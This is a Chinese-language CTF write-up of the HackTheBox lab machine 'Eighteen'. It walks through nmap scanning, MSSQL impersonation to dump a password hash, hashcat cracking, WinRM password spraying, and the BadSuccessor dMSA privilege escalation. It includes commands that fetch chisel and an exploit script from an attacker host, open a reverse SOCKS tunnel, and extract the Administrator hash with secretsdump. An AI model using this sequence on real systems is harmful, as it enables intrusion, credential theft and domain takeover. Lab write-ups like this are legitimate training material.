靶机概览
HTB Eighteen 是一台难度评级为 EASY 的 Windows 靶机,主要围绕 Active Directory 域环境安全、MSSQL 数据库渗透、哈希破解与 BadSu***essor 权限提升漏洞展开。该靶机完整展示了从外部服务突破到域内横向移动,并利用最新系统特性实现权限提升的完整攻击链,从初始凭证窃取到最终域控完全控制,为渗透测试初学者掌握基础的 Windows 域环境攻击技术提供了清晰的实战路径。
信息收集
网络扫描与服务识别
Nmap 先通过全端口扫描定位开放端口,再对关键端口进行深度探测,识别服务版本与环境信息。
全端口扫描
┌──(kali㉿Nuii)-[~]
└─$ nmap -T3 -p- 10.10.11.95
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-22 04:50 CST
Nmap scan report for eighteen.htb (10.10.11.95)
Host is up (0.43s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
1433/tcp open ms-sql-s
5985/tcp open wsman
Nmap done: 1 IP address (1 host up) scanned in 1129.62 seconds
关键端口探测
┌──(kali㉿Nuii)-[~]
└─$ nmap -sC -sV -A -p 80,1433,5985 10.10.11.95
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-22 05:11 CST
Nmap scan report for eighteen.htb (10.10.11.95)
Host is up (0.58s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Wel***e - eighteen.htb
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
|_ssl-date: 2025-11-22T04:14:24+00:00; +7h01m56s from scanner time.
| ms-sql-info:
| 10.10.11.95:1433:
| Version:
| name: Microsoft SQL Server 2022 RTM
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ms-sql-ntlm-info:
| 10.10.11.95:1433:
| Target_Name: EIGHTEEN
| ***BIOS_Domain_Name: EIGHTEEN
| ***BIOS_***puter_Name: DC01
| DNS_Domain_Name: eighteen.htb
| DNS_***puter_Name: DC01.eighteen.htb
| DNS_Tree_Name: eighteen.htb
|_ Product_Version: 10.0.26100
| ssl-cert: Subject: ***monName=SSL_Self_Signed_Fallback
| Not valid before: 2025-11-22T01:31:18
|_Not valid after: 2055-11-22T01:31:18
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022 (88%)
OS CPE: cpe:/o:microsoft:windows_server_2022
Aggressive OS guesses: Microsoft Windows Server 2022 (88%)
No exact OS matches for host (test conditions non-ideal).
***work Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 7h01m56s, deviation: 0s, median: 7h01m55s
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 922.97 ms 10.10.16.1
2 335.81 ms eighteen.htb (10.10.11.95)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.57 seconds
扫描结果
- 80 端口:HTTP 服务,Microsoft IIS 10.0
- 1433 端口:MSSQL 服务,Microsoft SQL Server 2022
- 5985 端口:WinRM 服务
- 时间偏差:目标系统与攻击机存在约 7 小时时差(影响 Kerberos 认证有效性)
DNS 解析配置
为确保域环境内主机名正常解析,添加域名映射,避免后续域内操作因解析问题失败
echo "10.10.11.95 eighteen.htb dc01.eighteen.htb" >> /etc/hosts
初始访问 - MSSQL 数据库渗透与权限突破
凭证连接与权限探测
利用靶机提供的初始凭证(kevin:iNa2we6haRj2gaw!),通过 impacket 工具集的 mssqlclient 模块连接 MSSQL 数据库。
impacket-mssqlclient 'kevin:iNa2we6haRj2gaw!@10.10.11.95'
连接成功后,探测当前账户可模拟的高权限用,执行如下 SQL 查询语句:
SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';
查询结果显示,当前账户可模拟 appdev 用户。
数据库权限提升与敏感数据窃取
通过 SQL 语句的 EXECUTE AS 命令模拟 appdev 用户权限,实现数据库层面的权限提升,随后切换至核心业务数据库 financial_planner 窃取用户凭证。
权限模拟
EXECUTE AS LOGIN = 'appdev';
敏感数据窃取
- 切换至核心数据库:USE financial_planner;
- 查询数据库内所有表名:SELECT table_name FROM information_schema.tables;
- 读取 users 表凭证数据:SELECT * FROM users;
最终从 users 表中获取到 admin 用户的 PBKDF2-SHA256 哈希值:
获取的 admin 哈希为 PBKDF2-SHA256 格式,需先转换为 Hashcat 支持的格式,再通过字典暴力破解还原明文密码。
哈希格式转换
编写 Python 脚本 pbkdf2-to-hashcat.py,实现 PBKDF2 哈希到 Hashcat 格式的转换。
#!/usr/bin/env python3
import base64
import sys
def convert_pbkdf2_to_hashcat(hash_string):
try:
# 分割哈希部分
parts = hash_string.split('$')
if len(parts) < 3:
print("无效的哈希格式")
return None
# 提取各部分
algorithm = parts[0] # pbkdf2:sha256:600000
salt = parts[1] # AMtzteQIG7yAbZIa
hash_value = parts[2] # 0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133
# 从算法部分提取迭代次数
algo_parts = algorithm.split(':')
if len(algo_parts) < 3:
print("无效的算法格式")
return None
iterations = algo_parts[2] # 600000
# 编码 salt 和 hash 为 base64
salt_bytes = salt.encode('utf-8')
salt_base64 = base64.b64encode(salt_bytes).decode('utf-8')
hash_bytes = bytes.fromhex(hash_value)
hash_base64 = base64.b64encode(hash_bytes).decode('utf-8')
# 构建 Hashcat 格式
hashcat_format = f"sha256:{iterations}:{salt_base64}:{hash_base64}"
return hashcat_format
except Exception as e:
print(f"转换错误: {e}")
return None
if __name__ == "__main__":
if len(sys.argv) != 2:
print("用法: python3 pbkdf2-to-hashcat.py 'pbkdf2:sha256:600000$salt$hash'")
sys.exit(1)
hash_string = sys.argv[1]
result = convert_pbkdf2_to_hashcat(hash_string)
if result:
print(result)
else:
print("转换失败")
执行转换命令
python3 pbkdf2-to-hashcat.py 'pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133'
将结果保存至 hash_final.txt 文件
echo 'sha256:600000:QU10enRlUUlHN3lBYlpJYQ==:BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=' > hash_final.txt
暴力破解明文密码
使用 Hashcat 工具,指定 10900 模式(对应 PBKDF2-SHA256 算法),结合 10k-most-***mon.txt 常见密码字典进行破解,参数 -w 3 启用高速破解模式,-O 启用优化选项。
hashcat -m 10900 hash_final.txt /usr/share/wordlists/seclists/Passwords/***mon-Credentials/10k-most-***mon.txt -w 3 -O
破解结果:iloveyou1
横向移动
凭证枚举
使用nxc枚举用户名
nxc mssql 10.10.11.95 -u kevin -p 'iNa2we6haRj2gaw!' --local-auth --rid-brute
创建用户列表文件
cat > users.txt << 'EOF'
jamie.dunn
jane.smith
alice.jones
adam.scott
bob.brown
carol.white
dave.green
EOF
使用发现的用户列表和密码 iloveyou1 进行WinRM喷射
nxc winrm 10.10.11.95 -u users.txt -p iloveyou1 --continue-on-su***ess
枚举到有效凭证:eighteen.htb\adam.scott:iloveyou1
WinRM 连接与 User Flag 获取
使用 evil-winrm 工具,通过有效凭证建立远程连接,并获取 User Flag。
WinRM 连接
evil-winrm -i 10.10.11.95 -u 'adam.scott' -p 'iloveyou1'
获取 User Flag
type C:\Users\adam.scott\Desktop\user.txt
域环境探测
注册表发现
Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion'
系统版本确认 - 通过注册表查询,确认目标为 Windows Server 2025,存在 dMSA 新特性。
核心版本信息 - ProductName 为 Windows Server 2025 Datacenter,存在 dMSA(组托管服务账户)功能。
BadSu***essor漏洞
Windows Server 2025 新增的 dMSA 功能存在权限配置缺陷(BadSu***essor 漏洞),可通过该漏洞创建具有委派权限的服务账户,最终提取域管理员哈希实现接管。
参考:BadSu***essor – Escalating Privileges Via DMSA In Windows Server 2025
权限提升 - BadSu***essor 漏洞利用与域控接管
工具准备
新建文件夹 A033
mkdir A033
上传隧道工具 Chisel
Invoke-WebRequest -Uri "http://10.10.16.10:8022/chisel.exe" -OutFile "C:\Users\adam.scott\A033\chisel.exe"
上传 BadSu***essor 漏洞利用脚本
Invoke-WebRequest -Uri "http://10.10.16.10:8022/BadSu***essor.ps1" -OutFile "C:\Users\adam.scott\A033\BadSu***essor.ps1"
执行 BadSu***essor 漏洞利用脚本
# 导入脚本并执行利用
. .\BadSu***essor.ps1
BadSu***essor -Mode Exploit -Domain "eighteen.htb" -Path "OU=Staff,DC=eighteen,DC=htb" -Name "A033_DMSA" -DelegatedAdmin "adam.scott" -DelegateTarget "Administrator"
创建名为 A033_DMSA 的 dMSA 账户,并将域管理员(Administrator)的委派权限赋予adam.scott。
建立隧道
攻击机启动 Chisel 服务端
./chisel server -p 8011 --reverse
目标主机连接代理
./chisel.exe client 10.10.16.10:8011 R:socks
Kerberos 时间同步
由于此前发现系统时间偏差,执行时间同步命令避免 Kerberos 认证失败,我这里使用前两期的靶机IP来同步。
sudo ntpdate 10.10.11.93
获取服务票据
proxychains4 python3 getST.py -impersonate 'A033_DMSA$' -dmsa eighteen.htb/adam.scott -self
配置 Kerberos 票据环境变量
export KRB5C***AME=A033_DMSA\$@krbtgt_EIGHTEEN.HTB@EIGHTEEN.HTB.***ache
Administrator哈希提取
proxychains4 python3 secretsdump.py -k -no-pass dc01.eighteen.htb -just-dc-user Administrator
- -k 使用 Kerberos 票据
- -no-pass 无密码登录
- -just-dc-user 指定提取管理员哈希
成功提取到 Administrator 哈希
获取 Root Flag
通过 wmiexec.py 工具利用哈希传递,实现域控完全接管。
# 验证权限
whoami
# 读取 Root Flag
type C:\Users\Administrator\Desktop\root.txt